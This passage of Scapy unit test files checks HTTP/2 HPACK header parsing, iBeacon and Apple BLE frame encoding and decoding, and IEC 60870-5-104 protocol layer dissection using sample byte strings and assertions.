p.stream_id == 1 assert isinstance(p.payload, h2.H2DataFrame) pay = p[h2.H2DataFrame] assert pay.data == body # now with bytes h = h2.HPackHdrTable() h.register(h2.HPackLitHdrFldWithIncrIndexing( hdr_name=h2.HPackHdrString(data=h2.HPackZString('X-Generation-Date')), hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString('2016-08-11')) )) seq = h.parse_txt_hdrs( hdrs.encode(), stream_id=1, body=body, should_index=lambda name: name in ['user-agent', 'x-generation-software'], is_sensitive=lambda name, value: name in ['x-generated-by', ':path'] ) assert isinstance(seq, h2.H2Seq) assert len(seq.frames) == 2 p = seq.frames[0] assert isinstance(p, h2.H2Frame) assert p.type == 1 assert len(p.flags) == 1 assert 'EH' in p.flags assert p.stream_id == 1 assert isinstance(p.payload, h2.H2HeadersFrame) hdrs_frm = p[h2.H2HeadersFrame] assert len(p.hdrs) == 9 hdr = p.hdrs[0] assert isinstance(hdr, h2.HPackIndexedHdr) assert hdr.magic == 1 assert hdr.index == 3 hdr = p.hdrs[1] assert isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing) assert hdr.magic == 0 assert hdr.never_index == 1 assert hdr.index in [4, 5] assert hdr.hdr_name is None assert isinstance(hdr.hdr_value, h2.HPackHdrString) assert hdr.hdr_value.data == 'HPackZString(/login.php)' hdr = p.hdrs[2] assert isinstance(hdr, h2.HPackIndexedHdr) assert hdr.magic == 1 assert hdr.index == 7 hdr = p.hdrs[3] assert isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing) assert hdr.magic == 0 assert hdr.never_index == 0 assert hdr.index == 31 assert hdr.hdr_name is None assert isinstance(hdr.hdr_value, h2.HPackHdrString) assert hdr.hdr_value.data == 'HPackZString(application/x-www-form-urlencoded)' hdr = p.hdrs[4] assert isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing) assert hdr.magic == 0 assert hdr.never_index == 0 assert hdr.index == 28 assert hdr.hdr_name is None assert isinstance(hdr.hdr_value, h2.HPackHdrString) assert hdr.hdr_value.data == 'HPackLiteralString(22)' hdr = p.hdrs[5] assert isinstance(hdr, h2.HPackLitHdrFldWithIncrIndexing) assert hdr.magic == 1 assert hdr.index == 58 assert hdr.hdr_name is None assert isinstance(hdr.hdr_value, h2.HPackHdrString) assert hdr.hdr_value.data == 'HPackZString(Mozilla/5.0 Generated by hand)' hdr = p.hdrs[6] assert isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing) assert hdr.magic == 0 assert hdr.never_index == 1 assert hdr.index == 0 assert isinstance(hdr.hdr_name, h2.HPackHdrString) assert hdr.hdr_name.data == 'HPackZString(x-generated-by)' assert isinstance(hdr.hdr_value, h2.HPackHdrString) assert hdr.hdr_value.data == 'HPackLiteralString(Me)' hdr = p.hdrs[7] assert isinstance(hdr, h2.HPackIndexedHdr) assert hdr.magic == 1 assert hdr.index == 63 hdr = p.hdrs[8] assert isinstance(hdr, h2.HPackLitHdrFldWithIncrIndexing) assert hdr.magic == 1 assert hdr.index == 0 assert isinstance(hdr.hdr_name, h2.HPackHdrString) assert hdr.hdr_name.data == 'HPackZString(x-generation-software)' assert isinstance(hdr.hdr_value, h2.HPackHdrString) assert hdr.hdr_value.data == 'HPackZString(scapy)' p = seq.frames[1] assert isinstance(p, h2.H2Frame) assert p.type == 0 assert len(p.flags) == 1 assert 'ES' in p.flags assert p.stream_id == 1 assert isinstance(p.payload, h2.H2DataFrame) pay = p[h2.H2DataFrame] assert pay.data == body = HTTP/2 HPackHdrTable : Parsing Textual Representation without body ~ http2 hpack hpackhdrtable helpers hdrs = b''':method POST :path /login.php :scheme https user-agent: Mozilla/5.0 Generated by hand x-generated-by: Me x-generation-date: 2016-08-11 ''' h = h2.HPackHdrTable() h.register(h2.HPackLitHdrFldWithIncrIndexing( hdr_name=h2.HPackHdrString(data=h2.HPackZString('X-Generation-Date')), hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString('2016-08-11')) )) # Without body seq = h.parse_txt_hdrs(hdrs, stream_id=1) assert isinstance(seq, h2.H2Seq) #This is the first major difference with the first test assert len(seq.frames) == 1 p = seq.frames[0] assert isinstance(p, h2.H2Frame) assert p.type == 1 assert len(p.flags) == 2 assert 'EH' in p.flags #This is the second major difference with the first test assert 'ES' in p.flags assert p.stream_id == 1 assert isinstance(p.payload, h2.H2HeadersFrame) hdrs_frm = p[h2.H2HeadersFrame] assert len(p.hdrs) == 6 hdr = p.hdrs[0] assert isinstance(hdr, h2.HPackIndexedHdr) assert hdr.magic == 1 assert hdr.index == 3 hdr = p.hdrs[1] assert isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing) assert hdr.magic == 0 assert hdr.never_index == 0 assert hdr.index in [4, 5] assert hdr.hdr_name is None assert isinstance(hdr.hdr_value, h2.HPackHdrString) assert hdr.hdr_value.data == 'HPackZString(/login.php)' hdr = p.hdrs[2] assert isinstance(hdr, h2.HPackIndexedHdr) assert hdr.magic == 1 assert hdr.index == 7 hdr = p.hdrs[3] assert isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing) assert hdr.magic == 0 assert hdr.never_index == 0 assert hdr.index == 58 assert hdr.hdr_name is None assert isinstance(hdr.hdr_value, h2.HPackHdrString) assert hdr.hdr_value.data == 'HPackZString(Mozilla/5.0 Generated by hand)' hdr = p.hdrs[4] assert isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing) assert hdr.magic == 0 assert hdr.never_index == 0 assert hdr.index == 0 assert isinstance(hdr.hdr_name, h2.HPackHdrString) assert hdr.hdr_name.data == 'HPackZString(x-generated-by)' assert isinstance(hdr.hdr_value, h2.HPackHdrString) assert hdr.hdr_value.data == 'HPackLiteralString(Me)' hdr = p.hdrs[5] assert isinstance(hdr, h2.HPackIndexedHdr) assert hdr.magic == 1 assert hdr.index == 62 = HTTP/2 HPackHdrTable : Parsing Textual Representation with too small max frame ~ http2 hpack hpackhdrtable helpers body = b'login=titi&passwd=toto' hdrs = ''':method POST :path /login.php :scheme https content-type: application/x-www-form-urlencoded content-length: {} user-agent: Mozilla/5.0 Generated by hand x-generated-by: Me x-generation-date: 2016-08-11 x-long-header: {} '''.format(len(body), 'a'*5000).encode() h = h2.HPackHdrTable() h.register(h2.HPackLitHdrFldWithIncrIndexing( hdr_name=h2.HPackHdrString(data=h2.HPackZString('X-Generation-Date')), hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString('2016-08-11')) )) #x-long-header is too long to fit in any frames (whose default max size is 4096) expect_exception(Exception, "seq = h.parse_txt_hdrs('''{}''', stream_id=1".format(hdrs)) = HTTP/2 HPackHdrTable : Parsing Textual Representation with very large header and a large authorized frame size ~ http2 hpack hpackhdrtable helpers body = b'login=titi&passwd=toto' hdrs = ''':method POST :path /login.php :scheme https content-type: application/x-www-form-urlencoded content-length: {} user-agent: Mozilla/5.0 Generated by hand x-generated-by: Me x-generation-date: 2016-08-11 x-long-header: {} '''.format(len(body), 'a'*5000).encode() h = h2.HPackHdrTable() h.register(h2.HPackLitHdrFldWithIncrIndexing( hdr_name=h2.HPackHdrString(data=h2.HPackZString('X-Generation-Date')), hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString('2016-08-11')) )) # Now trying to parse it with a max frame size large enough for x-long-header to # fit in a frame seq = h.parse_txt_hdrs(hdrs, stream_id=1, max_frm_sz=8192) assert isinstance(seq, h2.H2Seq) assert len(seq.frames) == 1 p = seq.frames[0] assert isinstance(p, h2.H2Frame) assert p.type == 1 assert len(p.flags) == 2 assert 'EH' in p.flags assert 'ES' in p.flags assert p.stream_id == 1 assert isinstance(p.payload, h2.H2HeadersFrame) hdrs_frm = p[h2.H2HeadersFrame] assert len(p.hdrs) == 9 hdr = p.hdrs[0] assert isinstance(hdr, h2.HPackIndexedHdr) assert hdr.magic == 1 assert hdr.index == 3 hdr = p.hdrs[1] assert isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing) assert hdr.magic == 0 assert hdr.never_index == 0 assert hdr.index in [4, 5] assert hdr.hdr_name is None assert isinstance(hdr.hdr_value, h2.HPackHdrString) assert hdr.hdr_value.data == 'HPackZString(/login.php)' hdr = p.hdrs[2] assert isinstance(hdr, h2.HPackIndexedHdr) assert hdr.magic == 1 assert hdr.index == 7 hdr = p.hdrs[3] assert isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing) assert hdr.magic == 0 assert hdr.never_index == 0 assert hdr.index == 31 assert hdr.hdr_name is None assert isinstance(hdr.hdr_value, h2.HPackHdrString) assert hdr.hdr_value.data == 'HPackZString(application/x-www-form-urlencoded)' hdr = p.hdrs[4] assert isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing) assert hdr.magic == 0 assert hdr.never_index == 0 assert hdr.index == 28 assert hdr.hdr_name is None assert isinstance(hdr.hdr_value, h2.HPackHdrString) assert hdr.hdr_value.data == 'HPackLiteralString(22)' hdr = p.hdrs[5] assert isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing) assert hdr.magic == 0 assert hdr.never_index == 0 assert hdr.index == 58 assert hdr.hdr_name is None assert isinstance(hdr.hdr_value, h2.HPackHdrString) assert hdr.hdr_value.data == 'HPackZString(Mozilla/5.0 Generated by hand)' hdr = p.hdrs[6] assert isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing) assert hdr.magic == 0 assert hdr.never_index == 0 assert hdr.index == 0 assert isinstance(hdr.hdr_name, h2.HPackHdrString) assert hdr.hdr_name.data == 'HPackZString(x-generated-by)' assert isinstance(hdr.hdr_value, h2.HPackHdrString) assert hdr.hdr_value.data == 'HPackLiteralString(Me)' hdr = p.hdrs[7] assert isinstance(hdr, h2.HPackIndexedHdr) assert hdr.magic == 1 assert hdr.index == 62 hdr = p.hdrs[8] assert isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing) assert hdr.magic == 0 assert hdr.never_index == 0 assert hdr.index == 0 assert isinstance(hdr.hdr_name, h2.HPackHdrString) assert hdr.hdr_name.data == 'HPackZString(x-long-header)' assert isinstance(hdr.hdr_value, h2.HPackHdrString) assert hdr.hdr_value.data == 'HPackZString({})'.format('a'*5000) = HTTP/2 HPackHdrTable : Parsing Textual Representation with two very large headers and a large authorized frame size ~ http2 hpack hpackhdrtable helpers body = b'login=titi&passwd=toto' hdrs = ''':method POST :path /login.php :scheme https content-type: application/x-www-form-urlencoded content-length: {} user-agent: Mozilla/5.0 Generated by hand x-generated-by: Me x-generation-date: 2016-08-11 x-long-header: {} x-long-header: {} '''.format(len(body), 'a'*5000, 'b'*5000).encode() h = h2.HPackHdrTable() h.register(h2.HPackLitHdrFldWithIncrIndexing( hdr_name=h2.HPackHdrString(data=h2.HPackZString('X-Generation-Date')), hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString('2016-08-11')) )) # Now trying to parse it with a max frame size large enough for x-long-header to # fit in a frame but a maximum header fragment size that is not large enough to # store two x-long-header seq = h.parse_txt_hdrs(hdrs, stream_id=1, max_frm_sz=8192) assert isinstance(seq, h2.H2Seq) assert len(seq.frames) == 2 p = seq.frames[0] assert isinstance(p, h2.H2Frame) assert p.type == 1 assert len(p.flags) == 1 assert 'ES' in p.flags assert p.stream_id == 1 assert isinstance(p.payload, h2.H2HeadersFrame) hdrs_frm = p[h2.H2HeadersFrame] assert len(p.hdrs) == 9 hdr = p.hdrs[0] assert isinstance(hdr, h2.HPackIndexedHdr) assert hdr.magic == 1 assert hdr.index == 3 hdr = p.hdrs[1] assert isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing) assert hdr.magic == 0 assert hdr.never_index == 0 assert hdr.index in [4, 5] assert hdr.hdr_name is None assert isinstance(hdr.hdr_value, h2.HPackHdrString) assert hdr.hdr_value.data == 'HPackZString(/login.php)' hdr = p.hdrs[2] assert isinstance(hdr, h2.HPackIndexedHdr) assert hdr.magic == 1 assert hdr.index == 7 hdr = p.hdrs[3] assert isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing) assert hdr.magic == 0 assert hdr.never_index == 0 assert hdr.index == 31 assert hdr.hdr_name is None assert isinstance(hdr.hdr_value, h2.HPackHdrString) assert hdr.hdr_value.data == 'HPackZString(application/x-www-form-urlencoded)' hdr = p.hdrs[4] assert isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing) assert hdr.magic == 0 assert hdr.never_index == 0 assert hdr.index == 28 assert hdr.hdr_name is None assert isinstance(hdr.hdr_value, h2.HPackHdrString) assert hdr.hdr_value.data == 'HPackLiteralString(22)' hdr = p.hdrs[5] assert isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing) assert hdr.magic == 0 assert hdr.never_index == 0 assert hdr.index == 58 assert hdr.hdr_name is None assert isinstance(hdr.hdr_value, h2.HPackHdrString) assert hdr.hdr_value.data == 'HPackZString(Mozilla/5.0 Generated by hand)' hdr = p.hdrs[6] assert isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing) assert hdr.magic == 0 assert hdr.never_index == 0 assert hdr.index == 0 assert isinstance(hdr.hdr_name, h2.HPackHdrString) assert hdr.hdr_name.data == 'HPackZString(x-generated-by)' assert isinstance(hdr.hdr_value, h2.HPackHdrString) assert hdr.hdr_value.data == 'HPackLiteralString(Me)' hdr = p.hdrs[7] assert isinstance(hdr, h2.HPackIndexedHdr) assert hdr.magic == 1 assert hdr.index == 62 hdr = p.hdrs[8] assert isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing) assert hdr.magic == 0 assert hdr.never_index == 0 assert hdr.index == 0 assert isinstance(hdr.hdr_name, h2.HPackHdrString) assert hdr.hdr_name.data == 'HPackZString(x-long-header)' assert isinstance(hdr.hdr_value, h2.HPackHdrString) assert hdr.hdr_value.data == 'HPackZString({})'.format('a'*5000) p = seq.frames[1] assert isinstance(p, h2.H2Frame) assert p.type == 9 assert len(p.flags) == 1 assert 'EH' in p.flags assert p.stream_id == 1 assert isinstance(p.payload, h2.H2ContinuationFrame) hdrs_frm = p[h2.H2ContinuationFrame] assert len(p.hdrs) == 1 hdr = p.hdrs[0] assert isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing) assert hdr.magic == 0 assert hdr.never_index == 0 assert hdr.index == 0 assert isinstance(hdr.hdr_name, h2.HPackHdrString) assert hdr.hdr_name.data == 'HPackZString(x-long-header)' assert isinstance(hdr.hdr_value, h2.HPackHdrString) assert hdr.hdr_value.data == 'HPackZString({})'.format('b'*5000) = HTTP/2 HPackHdrTable : Parsing Textual Representation with two very large headers, a large authorized frame size and a "small" max header list size ~ http2 hpack hpackhdrtable helpers body = b'login=titi&passwd=toto' hdrs = ''':method POST :path /login.php :scheme https content-type: application/x-www-form-urlencoded content-length: {} user-agent: Mozilla/5.0 Generated by hand x-generated-by: Me x-generation-date: 2016-08-11 x-long-header: {} x-long-header: {} '''.format(len(body), 'a'*5000, 'b'*5000).encode() h = h2.HPackHdrTable() h.register(h2.HPackLitHdrFldWithIncrIndexing( hdr_name=h2.HPackHdrString(data=h2.HPackZString('X-Generation-Date')), hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString('2016-08-11')) )) # Now trying to parse it with a max frame size large enough for x-long-header to # fit in a frame but and a max header list size that is large enough to fit one # but not two seq = h.parse_txt_hdrs(hdrs, stream_id=1, max_frm_sz=8192, max_hdr_lst_sz=5050) assert isinstance(seq, h2.H2Seq) assert len(seq.frames) == 3 p = seq.frames[0] assert isinstance(p, h2.H2Frame) assert p.type == 1 assert len(p.flags) == 1 assert 'ES' in p.flags assert p.stream_id == 1 assert isinstance(p.payload, h2.H2HeadersFrame) hdrs_frm = p[h2.H2HeadersFrame] assert len(p.hdrs) == 8 hdr = p.hdrs[0] assert isinstance(hdr, h2.HPackIndexedHdr) assert hdr.magic == 1 assert hdr.index == 3 hdr = p.hdrs[1] assert isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing) assert hdr.magic == 0 assert hdr.never_index == 0 assert hdr.index in [4, 5] assert hdr.hdr_name is None assert isinstance(hdr.hdr_value, h2.HPackHdrString) assert hdr.hdr_value.data == 'HPackZString(/login.php)' hdr = p.hdrs[2] assert isinstance(hdr, h2.HPackIndexedHdr) assert hdr.magic == 1 assert hdr.index == 7 hdr = p.hdrs[3] assert isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing) assert hdr.magic == 0 assert hdr.never_index == 0 assert hdr.index == 31 assert hdr.hdr_name is None assert isinstance(hdr.hdr_value, h2.HPackHdrString) assert hdr.hdr_value.data == 'HPackZString(application/x-www-form-urlencoded)' hdr = p.hdrs[4] assert isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing) assert hdr.magic == 0 assert hdr.never_index == 0 assert hdr.index == 28 assert hdr.hdr_name is None assert isinstance(hdr.hdr_value, h2.HPackHdrString) assert hdr.hdr_value.data == 'HPackLiteralString(22)' hdr = p.hdrs[5] assert isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing) assert hdr.magic == 0 assert hdr.never_index == 0 assert hdr.index == 58 assert hdr.hdr_name is None assert isinstance(hdr.hdr_value, h2.HPackHdrString) assert hdr.hdr_value.data == 'HPackZString(Mozilla/5.0 Generated by hand)' hdr = p.hdrs[6] assert isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing) assert hdr.magic == 0 assert hdr.never_index == 0 assert hdr.index == 0 assert isinstance(hdr.hdr_name, h2.HPackHdrString) assert hdr.hdr_name.data == 'HPackZString(x-generated-by)' assert isinstance(hdr.hdr_value, h2.HPackHdrString) assert hdr.hdr_value.data == 'HPackLiteralString(Me)' hdr = p.hdrs[7] assert isinstance(hdr, h2.HPackIndexedHdr) assert hdr.magic == 1 assert hdr.index == 62 p = seq.frames[1] assert isinstance(p, h2.H2Frame) assert p.type == 9 assert len(p.flags) == 0 assert p.stream_id == 1 assert isinstance(p.payload, h2.H2ContinuationFrame) hdrs_frm = p[h2.H2ContinuationFrame] assert len(p.hdrs) == 1 hdr = p.hdrs[0] assert isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing) assert hdr.magic == 0 assert hdr.never_index == 0 assert hdr.index == 0 assert isinstance(hdr.hdr_name, h2.HPackHdrString) assert hdr.hdr_name.data == 'HPackZString(x-long-header)' assert isinstance(hdr.hdr_value, h2.HPackHdrString) assert hdr.hdr_value.data == 'HPackZString({})'.format('a'*5000) p = seq.frames[2] assert isinstance(p, h2.H2Frame) assert p.type == 9 assert len(p.flags) == 1 assert 'EH' in p.flags assert p.stream_id == 1 assert isinstance(p.payload, h2.H2ContinuationFrame) hdrs_frm = p[h2.H2ContinuationFrame] assert len(p.hdrs) == 1 hdr = p.hdrs[0] assert isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing) assert hdr.magic == 0 assert hdr.never_index == 0 assert hdr.index == 0 assert isinstance(hdr.hdr_name, h2.HPackHdrString) assert hdr.hdr_name.data == 'HPackZString(x-long-header)' assert isinstance(hdr.hdr_value, h2.HPackHdrString) assert hdr.hdr_value.data == 'HPackZString({})'.format('b'*5000) = HTTP/2 HPackHdrTable : Parsing Textual Representation with sensitive headers and non-indexable ones ~ http2 hpack hpackhdrtable helpers hdrs = ''':method POST :path /login.php :scheme https content-type: application/x-www-form-urlencoded content-length: {} user-agent: Mozilla/5.0 Generated by hand x-generated-by: Me x-generation-date: 2016-08-11 '''.format(len(body)).encode() h = h2.HPackHdrTable() seq = h.parse_txt_hdrs(hdrs, stream_id=1, body=body, is_sensitive=lambda n,v: n in ['x-generation-date'], should_index=lambda x: x != 'x-generated-by') assert isinstance(seq, h2.H2Seq) assert len(seq.frames) == 2 p = seq.frames[0] assert isinstance(p, h2.H2Frame) assert p.type == 1 assert len(p.flags) == 1 assert 'EH' in p.flags assert p.stream_id == 1 assert isinstance(p.payload, h2.H2HeadersFrame) hdrs_frm = p[h2.H2HeadersFrame] assert len(p.hdrs) == 8 hdr = p.hdrs[0] assert isinstance(hdr, h2.HPackIndexedHdr) assert hdr.magic == 1 assert hdr.index == 3 hdr = p.hdrs[1] assert isinstance(hdr, h2.HPackLitHdrFldWithIncrIndexing) assert hdr.magic == 1 assert hdr.index in [4, 5] assert hdr.hdr_name is None assert isinstance(hdr.hdr_value, h2.HPackHdrString) assert hdr.hdr_value.data == 'HPackZString(/login.php)' hdr = p.hdrs[2] assert isinstance(hdr, h2.HPackIndexedHdr) assert hdr.magic == 1 assert hdr.index == 7 hdr = p.hdrs[3] assert isinstance(hdr, h2.HPackLitHdrFldWithIncrIndexing) assert hdr.magic == 1 assert hdr.index == 31 assert hdr.hdr_name is None assert isinstance(hdr.hdr_value, h2.HPackHdrString) assert hdr.hdr_value.data == 'HPackZString(application/x-www-form-urlencoded)' hdr = p.hdrs[4] assert isinstance(hdr, h2.HPackLitHdrFldWithIncrIndexing) assert hdr.magic == 1 assert hdr.index == 28 assert hdr.hdr_name is None assert isinstance(hdr.hdr_value, h2.HPackHdrString) assert hdr.hdr_value.data == 'HPackLiteralString(22)' hdr = p.hdrs[5] assert isinstance(hdr, h2.HPackLitHdrFldWithIncrIndexing) assert hdr.magic == 1 assert hdr.index == 58 assert hdr.hdr_name is None assert isinstance(hdr.hdr_value, h2.HPackHdrString) assert hdr.hdr_value.data == 'HPackZString(Mozilla/5.0 Generated by hand)' hdr = p.hdrs[6] assert isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing) assert hdr.magic == 0 assert hdr.never_index == 0 assert hdr.index == 0 assert isinstance(hdr.hdr_name, h2.HPackHdrString) assert hdr.hdr_name.data == 'HPackZString(x-generated-by)' assert isinstance(hdr.hdr_value, h2.HPackHdrString) assert hdr.hdr_value.data == 'HPackLiteralString(Me)' hdr = p.hdrs[7] assert isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing) assert hdr.magic == 0 assert hdr.never_index == 1 assert hdr.index == 0 assert isinstance(hdr.hdr_name, h2.HPackHdrString) assert hdr.hdr_name.data == 'HPackZString(x-generation-date)' assert isinstance(hdr.hdr_value, h2.HPackHdrString) assert hdr.hdr_value.data == 'HPackZString(2016-08-11)' p = seq.frames[1] assert isinstance(p, h2.H2Frame) assert p.type == 0 assert len(p.flags) == 1 assert 'ES' in p.flags assert p.stream_id == 1 assert isinstance(p.payload, h2.H2DataFrame) pay = p[h2.H2DataFrame] assert pay.data == body ================================================ FILE: test/contrib/ibeacon.uts ================================================ % iBeacon unit tests # # Type the following command to launch start the tests: # $ test/run_tests -P "load_contrib('ibeacon')" -t test/contrib/ibeacon.uts + iBeacon tests = Presence check Apple_BLE_Frame IBeacon_Data Apple_BLE_Submessage = Apple multiple submessages # Observed in the wild; handoff + nearby message. # Meaning unknown. d = hex_bytes('D6BE898E4024320CFB574D5A02011A1AFF4C000C0E009C6B8F40440F1583EC895148B410050318C0B525B8F7D4') p = BTLE(d) assert len(p[Apple_BLE_Frame].plist) == 2 assert p[Apple_BLE_Frame].plist[0].subtype == 0x0c # handoff assert (raw(p[Apple_BLE_Frame].plist[0].payload) == hex_bytes('009c6b8f40440f1583ec895148b4')) assert p[Apple_BLE_Frame].plist[1].subtype == 0x10 # nearby assert raw(p[Apple_BLE_Frame].plist[1].payload) == hex_bytes('0318c0b525') = iBeacon (decode LE Set Advertising Data) # from https://en.wikipedia.org/wiki/IBeacon#Technical_details d = hex_bytes('1E02011A1AFF4C000215FB0B57A2822844CD913A94A122BA120600010002D100') p = HCI_Cmd_LE_Set_Advertising_Data(d) assert len(p[Apple_BLE_Frame].plist) == 1 assert p[IBeacon_Data].uuid == UUID("fb0b57a2-8228-44cd-913a-94a122ba1206") assert p[IBeacon_Data].major == 1 assert p[IBeacon_Data].minor == 2 assert p[IBeacon_Data].tx_power == -47 d2 = raw(p) assert d == d2 = iBeacon (encode LE Set Advertising Data) d = hex_bytes('1E0201061AFF4C000215FB0B57A2822844CD913A94A122BA120600010002D100') p = Apple_BLE_Submessage()/IBeacon_Data( uuid='fb0b57a2-8228-44cd-913a-94a122ba1206', major=1, minor=2, tx_power=-47) sap = p.build_set_advertising_data()[HCI_Cmd_LE_Set_Advertising_Data] assert d == raw(sap) pa = Apple_BLE_Frame(plist=[p]) sapa = pa.build_set_advertising_data()[HCI_Cmd_LE_Set_Advertising_Data] assert d == raw(sapa) # Also try to build with Submessage directly sapa = p.build_set_advertising_data()[HCI_Cmd_LE_Set_Advertising_Data] assert d == raw(sapa) = iBeacon (decode advertising frame) # from https://en.wikipedia.org/wiki/IBeacon#Spoofing d = hex_bytes('043E2A02010001FCED16D4EED61E0201061AFF4C000215B9407F30F5F8466EAFF925556B57FE6DEDFCD416B6B4') p = HCI_Hdr(d) assert p[HCI_LE_Meta_Advertising_Report].addr == 'd6:ee:d4:16:ed:fc' assert len(p[Apple_BLE_Frame].plist) == 1 assert p[IBeacon_Data].uuid == UUID('b9407f30-f5f8-466e-aff9-25556b57fe6d') + Overflow area = Basic overflow area packet d = hex_bytes('14ff4c000100000000000000000000000000000080') p = EIR_Hdr(d) assert raw(p) == d assert len(p[Apple_BLE_Frame].plist) == 1 assert p[Apple_BLE_Submessage].subtype == 0x01 assert p[Apple_BLE_Submessage].len == None payload = p[Apple_BLE_Submessage].payload assert isinstance(payload, Raw) assert raw(payload) == hex_bytes('00000000000000000000000000000080') ================================================ FILE: test/contrib/iec104.uts ================================================ % IEC 60870-5-104 test campaign # # execute test: # > test/run_tests -t test/contrib/iec104.uts # + iec104 infrastructure = load the iec104 layer load_contrib('scada.iec104') = class attribute generator assert IEC104_IE_QOC.QU_FLAG_RESERVED_COMPATIBLE_4 == 4 assert IEC104_IE_QOC.QU_FLAG_RESERVED_COMPATIBLE_8 == 8 assert IEC104_IE_QOC.QU_FLAG_RESERVED_PREDEFINED_FUNCTION_9 == 9 assert IEC104_IE_QOC.QU_FLAG_RESERVED_PREDEFINED_FUNCTION_15 == 15 = IEC60870_5_4_NormalizedFixPoint test_data = [ (b'\x9c\x84', -0.963989, -31588), (b'\x46\xf6', -0.075989, -2490), (b'\xc9\xf6', -0.071991, -2359), (b'\x40\xf5', -0.083984, -2752), (b'\x89\x01', 0.011993, 393), (b'\xd2\x0d', 0.107971, 3538), (b'\xd7\x23', 0.279999, 9175), (b'\x76\x3e', 0.487976, 15990), (b'\x08\x6c', 0.843994, 27656), (b'\xff\x7f', 0.999969, 32767) ] nfp = IEC60870_5_4_NormalizedFixPoint('foo', 0) for num_raw, num_fp, num_ss in test_data: i_val = nfp.getfield(None, num_raw)[1] assert i_val == num_ss assert round(nfp.i2h(None, i_val), 6) == round(num_fp, 6) = Iec104SequenceNumber field iec104_seq_num = IEC104SequenceNumber('rx_seq', 0) test_data = { 1: b'\x02\x00', 2: b'\x04\x00', 14 : b'\x1c\x00', 16 : b'\x20\x00', 73 : b'\x92\x00', 127: b'\xfe\x00', 128: b'\x00\x01', 129: b'\x02\x01', 253: b'\xfa\x01', 254: b'\xfc\x01', 255: b'\xfe\x01', 5912: b'\x30\x2e', 31282: b'\x64\xf4', 32767: b'\xfe\xff' } for key in test_data: assert iec104_seq_num.getfield(None, test_data[key])[1] == key assert iec104_seq_num.addfield(None, b'', key) == test_data[key] + raw layer dissection = IEC104_U_Message raw_u_msg = b'\x68\x04\x83\x00\x00\x00' lyr = iec104_decode(b'\x68\x04\x83\x00\x00\x00') assert lyr.__class__ == IEC104_U_Message = IEC104_S_Message raw_s_msg = b'\x68\x04\x01\x00\xa6\x17' lyr = iec104_decode(raw_s_msg) assert lyr.__class__ == IEC104_S_Message = IEC104_I_Message_SeqIOA raw_i_msg_seq_ioa = b'\x68\x1f\x2c\x00\x04\x00' # APCI raw_i_msg_seq_ioa += b'\x01\x92\x14\x00\x23\x00\x12\x54\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' # ASDU lyr = iec104_decode(raw_i_msg_seq_ioa) assert lyr.__class__ == IEC104_I_Message_SeqIOA = IEC104_I_Message_SingleIOA raw_i_msg_single_ioa = b'\x68\x0e\x00\x00\x00\x00\x64\x01\x06\x00\x0a\x00\x00\x00\x00\x14' lyr = iec104_decode(raw_i_msg_single_ioa) assert lyr.__class__ == IEC104_I_Message_SingleIOA + IEC104 S Message = single IEC104 S Message s_msg = b'\x68\x04\x01\x00\xa6\x17' s_msg = IEC104_S_Message(s_msg) assert s_msg.rx_seq_num == 3027 raw_s_message = b'\x00\x14\xab\x00\x3c\x13\x00\x1b\x8d\xf1\xdc\x12\x08\x00\x45\x10\x00\x3a\x8d\xdb\x40\x00\x3d\x06\x54\x46\x1a\x52\x01\xde\xc1\x28\x15\x5c\xaa\x56\x09\x64\x16\x67\x6c\xd7\x53\x07\x28\x98\x80\x18\x79\x5e\x9b\x14\x00\x00\x01\x01\x08\x0a\x9e\x08\xaa\x23\x73\xe8\x6c\xc3\x68\x04\x01\x00\xc2\x3a' frm = Ether(raw_s_message) s_msg = frm.getlayer(IEC104_S_Message) assert s_msg assert s_msg.rx_seq_num == 7521 frm = Ether(frm.do_build()) s_msg = frm.getlayer(IEC104_S_Message) assert s_msg assert s_msg.rx_seq_num == 7521 = double IEC104 S Message (test layer binding) raw_double_s_message = b'\x00\x14\xab\x00\x3c\x13\x00\x1b\x8d\xf1\xdc\x12\x08\x00\x45\x10\x00\x40\x8d\xdb\x40\x00\x3d\x06\x54\x46\x0c\x35\x1b\x33\xc1\x28\x15\x44\xaa\x56\x09\x64\x16\x67\x6c\xd7\x53\x07\x28\x98\x80\x18\x79\x5e\x9b\x14\x00\x00\x01\x01\x08\x0a\x9e\x08\xaa\x23\x73\xe8\x6c\xc3\x68\x04\x01\x00\xc2\x3a\x68\x04\x01\x00\xc2\x3b' frm = Ether(raw_double_s_message) s_msg = frm.getlayer(IEC104_S_Message) assert s_msg assert s_msg.rx_seq_num == 7521 s_msg = frm.getlayer(IEC104_S_Message, nb=2) assert s_msg assert s_msg.rx_seq_num == 7649 frm = Ether(frm.do_build()) s_msg = 